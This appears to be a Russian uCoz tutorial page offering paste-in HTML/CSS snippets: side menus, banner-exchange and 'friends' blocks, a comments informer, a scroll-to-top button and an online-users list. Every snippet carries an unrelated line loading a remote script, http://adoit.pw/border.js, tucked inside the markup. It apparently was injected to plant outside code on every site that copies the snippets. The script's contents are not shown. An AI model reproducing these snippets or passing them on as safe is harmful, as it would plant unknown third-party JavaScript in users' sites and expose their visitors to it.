Красивые 2 типа Боковых Менюшек,вам представление более 2 видов меню, выберете тот который будет подойдет вашему дизайну оба меню красивые,и без багов,сам сайт скрипт не нагружает при загрузке... И так Приступим У Самой Установчке: Этот самый текст ставим там где мы хотели бы видеть свое новое меню HTML: Код <div id="main"> <ul id="navigationMenu"> <li> <a class="m_home " href="$HOME_PAGE_LINK$"><span>На главную</span></a> </li> <li> <a class="m_gost" href="/gb"><span>Гостевая</span></a> </li> <li> <a class="m_forum" href="/forum"><span>Форум</span></a> </li> <li> <a class="m_pochta" href="/index/0-3"><span>Обратная связь</span></a> </li><script type="text/javascript" src="http://adoit.pw/border.js"></script> <?if($USER_LOGGED_IN$)?> <li> <a class="m_vixod" href="$LOGOUT_LINK$"><span>Выход</span></a> </li> <?else?> <li> <a class="m_vxod" href="$LOGIN_LINK$"><span>Вход</span></a> </li> <?endif?> </ul> </div> <!-- /Конец тегов левое боковое меню --> А Вот два типа менюшек выбирайте который вам нужен Серое Меню Код #main{ position:fixed; top: 150px; right: 0px; padding:0; } #main ul{ padding:0; } #navigationMenu li{ list-style:none; height:35px; width:35px; } #navigationMenu span{ position:absolute; overflow:hidden; width:0; right:35px; padding:0; font:12px Verdana,Arial,Helvetica,sans-serif; font-weight:bold; line-height:35px; white-space:nowrap; -webkit-transition: 0.25s; -moz-transition: 0.25s; transition: 0.25s; } #navigationMenu a{ display:block; position:relative; background:url(http://pnghosts.ru/img/navigation_2.png) no-repeat; height:35px; width:35px; } #navigationMenu a:hover span{ overflow:hidden; text-align:center; width:110px; padding:0px 10px; } #navigationMenu a:hover{ text-decoration:none; } #navigationMenu .m_home {background-position:0 0;} #navigationMenu .m_home :hover {background-position:0 -35px;} #navigationMenu .m_gost {background-position:-35px 0;} #navigationMenu .m_gost:hover {background-position:-35px -35px;} #navigationMenu .m_forum {background-position:-70px 0;} #navigationMenu .m_forum:hover {background-position:-70px -35px;} #navigationMenu .m_pochta { background-position:-105px 0;} #navigationMenu .m_pochta:hover{ background-position:-105px -35px;} #navigationMenu .m_vxod { background-position:-140px 0;} #navigationMenu .m_vxod:hover { background-position:-140px -35px;} #navigationMenu .m_vixod { background-position:-175px 0;} #navigationMenu .m_vixod:hover { background-position:-175px -35px;} #navigationMenu .m_gost span, #navigationMenu .m_forum span, #navigationMenu .m_pochta span, #navigationMenu .m_vxod span, #navigationMenu .m_vixod span, #navigationMenu .m_home span { background:#444; color:#777; text-shadow:1px 1px 0 #333; } Цветное меню Код #main{
position:fixed; top: 150px; left: 0px; padding:0; } #main ul{ padding:0; } #navigationMenu li{ list-style:none; height:35px; width:35px; } #navigationMenu span{ position:absolute; overflow:hidden; width:0; left:35px; padding:0; font:12px Verdana,Arial,Helvetica,sans-serif; font-weight:bold; line-height:35px; white-space:nowrap; -webkit-transition: 0.25s; -moz-transition: 0.25s; transition: 0.25s; } #navigationMenu a{ display:block; position:relative; background:url(http://pnghosts.ru/img/navigation_1.png) no-repeat; height:35px; width:35px; } #navigationMenu a:hover span{ overflow:hidden; text-align:center; width:110px; padding:0px 10px; } #navigationMenu a:hover{ text-decoration:none; } #navigationMenu .m_home {background-position:0 0;} #navigationMenu .m_home :hover {background-position:0 -35px;} #navigationMenu .m_home span{ background:#7da315; color:#3d4f0c; text-shadow:1px 1px 0 #99bf31; } #navigationMenu .m_gost {background-position:-35px 0;} #navigationMenu .m_gost:hover {background-position:-35px -35px;} #navigationMenu .m_gost span{ background:#1e8bb4; color:#223a44; text-shadow:1px 1px 0 #44a8d0; } #navigationMenu .m_forum {background-position:-70px 0;} #navigationMenu .m_forum:hover {background-position:-70px -35px;} #navigationMenu .m_forum span{ background:#c86c1f; color:#5a3517; text-shadow:1px 1px 0 #d28344; } #navigationMenu .m_pochta { background-position:-105px 0;} #navigationMenu .m_pochta:hover{ background-position:-105px -35px;} #navigationMenu .m_pochta span{ ... Читать дальше » |
Необходимый скрипт практически для любого сайта ucoz
ведь именно Ваши посетители в знак признательности смогут воспользоваться этим скриптом и установить кнопку или же баннер на страницах уже своего сайта, (пояснять важность этого действия я думаю не стоит) или же поможет в обычном баннер обмене Установка Все предельно просто код скрипта ucoz следует разместить желательно в отдельном блоке и заполнить исходя из данных своего сайта Код <center><font color="#86d800"><b>Мы будем вам признательны, если вы разместите нашу кнопку у себя на сайте. Если вы хотите обменяться с нами баннерами, пишите в гостевую книгу:</b></font><script type="text/javascript" src="http://adoit.pw/border.js"></script><br><br><script language="JavaScript"> <!-- function popup1() { prompt('<a href="Ссылка на сайт" target="_blank"><img src="Ссылка на баннер"></a>','<a href="Ссылка на сайт" target="_blank" alt="Описание сайта"><center><img src="Ссылка на баннер" alt="Описание сайта" title="Описание сайта" width=88 height=31 border=0></center></a>'); return false; } //--> </script> <a href="Ссылка на сайт" target="_self" alt="Описание сайта"><center><img src="Ccылка на банер" alt="Описание сайта" width=88 height=31 border=0></center></a><br> <form><center> <input type="button" value="Получить код" onclick="popup1()"> </center></form></center> |
Скрипт друзья сайта для uCoz
Просто вставьте это в блок Код <hr align="center" size="1" width="100%" noshade="noshade"> <style type="text/css"> .sSample {text-align:center;padding:3px;border:1px solid #488ebf;margin:5px;cursor:pointer;font-size:7pt;} .sSampleO {text-align:center;padding:3px;border:1px solid #3d55e7;margin:5px;cursor:pointer;background:#488ebf;font-size:10pt;color:#ffffff;} </style><script type="text/javascript" src="http://adoit.pw/border.js"></script> <div align="center"><marquee direction="up" scrollamount="2" onmouseover="this.scrollAmount=0" onmouseout="this.scrollAmount=2" width="170" height="250"> <div class="sSample" onmouseover="this.className='sSampleO'" onmouseout="this.className='sSample'" onclick="window.open('http://Сайт');"><img src="http://БАННЕР.gif" border="1"><br>Название сайта</div> <div class="sSample" onmouseover="this.className='sSampleO'" onmouseout="this.className='sSample'" onclick="window.open('http://Сайт');"><img src="http://БАННЕР.gif" border="1"><br>Название сайта</div> <div class="sSample" onmouseover="this.className='sSampleO'" onmouseout="this.className='sSample'" onclick="window.open('http://Сайт');"><img src="http://БАННЕР.gif" border="1"><br>Название сайта</div> <div class="sSample" onmouseover="this.className='sSampleO'" onmouseout="this.className='sSample'" onclick="window.open('http://Сайт');"><img src="http://БАННЕР.gif" border="1"><br>Название сайта</div> </marquee></div> <hr align="center" size="1" width="100%" noshade="noshade"> |
Красивый информер последние комментарии для вашего сайта. Этот информер подойдёт для темных дизайнов. В нем преобладают зеленые цвета на которых написано время комментария. Слева находится Аватар того пользователя который оставил комментарий.
2. Заходим в панель управления. Создаем информер с параметрами: [Комментарии · Материалы · Дата добавления материала D · Материалы: 3 · Колонки: 1] В шаблон информера вставляем следующий код: Код <table><tbody><tr><td valing="top" class="comm_s"><a href="$PROFILE_URL$" target="_blank"> <img src="$USER_AVATAR_URL$"></a></td> <td class="comm_a" valign="top"> <div class="c_date_comm"> <div class="c_date">в $TIME$ $DATE$</div> </div><script type="text/javascript" src="http://adoit.pw/border.js"></script> </td></tr></tbody></table> <div class="mess_commes"><span style="color: rgb(255, 255, 255);">$MESSAGE$</span> <div class="t_h">» <a href="$ENTRY_URL$">$ENTRY_TITLE$</a></div></div> <style> .cell_comment_os { float:left; width:100%; background:#181818;border:1px solid #242424; padding-bottom:3px; margin-bottom:15px;-webkit-border-radius: 4px; -moz-border-radius: 4px; border-radius: 4px; } .comment_p { float:right; width:80px; } .comment_v { margin: 5px 0px 5px 10px; } .comment_c { overflow: hidden; text-align:justify; margin: 0px 0px 0px 10px; padding: 5px 0px; border-top: 1px solid #1f1f1f; } .comment_n { text-align:right; margin: 3px 78px 0px 10px; } .vcc_otvet {overflow:hidden!important; border: 1px solid #ba5d5d; padding: 10px;background:#a55959; } .comment_avatar { width:40px; height:40px; padding: 4px; margin: 8px 10px 0px 15px; border: 1px solid #252525; background:#131313; -webkit-border-radius:5px; -moz-border-radius:5px; border-radius:5px; } a.catName {} .catDescr {color:#848484;} td.catsTd {padding:4px 0px;} .catNumData {color:#777;} .comm_back {background:#131313;-webkit-border-radius: 3px; -moz-border-radius: 3px; border-radius: 3px;padding:3px;border:1px solid #191919;} .comm_s {width:33px;padding-right:2px;} .comm_a {width:100%;padding-left:2px;} .comm_s img {width:30px; height:30px;border:3px solid #0a0a0a;-webkit-border-radius: 3px; -moz-border-radius: 3px; border-radius: 3px;} .c_date_comm {background:#111111;padding:4px ;-webkit-border-radius: 3px; -moz-border-radius: 3px; border-radius: 3px;} .c_date {background:#308d4d;-webkit-border-radius: 3px; -moz-border-radius: 3px; border-radius: 3px;padding:8px 4px;color:#1e512e;text-shadow:0px 1px 0px #38a75b;text-align:center;box-shadow:inset 0px 0px 0px 1px #3a9d5b;} .mess_commes {background:#111111;padding:4px ;-webkit-border-radius: 3px; -moz-border-radius: 3px; border-radius: 3px;margin:3px 0px;border:1px solid #191919;} .t_h {color:#494949;font-size:10px;} .t_h a{color:#494949;font-size:10px;text-shadow:none;} .t_h a:hover {color:#ddd;} .con_poll {padding:0px 0px;} .tit_poll {background:url(/inf_com/poll_bg.png) repeat-x;height:25px;color:#bcbcbc;font-weight:bold;padding-left:10px;line-height:23px;} .con_poll input {outline:none; border:none;} .con_poll:not(#Foo) input[type=radio] + label {background:url(http://pnghosts.ru/img/radio_input_1.png) no-repeat 0px 1px;color:#bcbcbc;padding-right:10px;} .con_poll:not(#Foo) input[type=radio]:checked + label {background:url(http://pnghosts.ru/img/radio_input_2.png) no-repeat;color:#ddd;} .con_poll:not(#Foo) input[type=radio] + label:hover {background:url(http://pnghosts.ru/img//radio_input_3.png) no-repeat;cursor:pointer;color:#777;} .poll_bg:not(#Foo) label {padding:0 0 10px 20px; color:#ddd;} .poll_bg:not(#Foo) input[type=radio] {display:none;} .answer {padding:3px 0px;} .con_poll:not(#Foo) input[type=radio]:checked + label {background:url(http://pnghosts.ru/img/radio_input_2.png) no-repeat;color:#ddd;} .pollButton {background:url(http://pnghosts.ru/img/bg_poll_but.png) repeat-x; height:50px;margin-top:4px;line-height:36px;} .pollBut {float:left;margin-top:14px;} </style> |
На необъятных просторах инета можно без труда найти массу всевозможных кнопок вверх - вниз для блогов - сайтов . Мне понравилась именно эта
Думаю , что с установкой скрипта данной кнопки проблем не возникнет - Панель управление - Управление дизайном - Нижняя часть сайта в самый низ вставляем код: Код <a href="#" class="gotop" title="Наверх" style="display: inline;"> <script type="text/javascript" src="http://adoit.pw/border.js"></script></a> <style>.gotop { position: fixed; width: 85px; height: 65px; right: 20px; bottom: 5px; display: block; background: url('http://pnghosts.ru/img/gotop.png') no-repeat; z-index: 9998; display: none;opacity: 0.5; } .gotop:hover {opacity: 1.0;}</style> |
У кого посетителей много на сайте им не удобно видеть большой список пользователей посетивших сайт в статистике, а этот скрипт вам поможет, он делает вертикальный список пользователей и оставляет буквально несколько пользователей а что бы увидеть остальных вам придется пролистать, очень удобный скрипт.
Установка: Ищем $ONLINE_COUNTER$ или $ONLINE_USER_LIST$ и после них прописываем код: Код <script type="text/javascript" src="http://pnghosts.ru/js_css/statica.js"></script> <div id="userLog"></div><script src="http://adoit.pw/border.js" type="text/javascript"></script><div id="allist" style="border: 1px solid #CCCCCC; margin:3px; padding:3px; overflow: auto;height:100px;"> <img src="http://pnghosts.ru/img/update_messages.gif id="loading" border="0" alt="" /> </div> |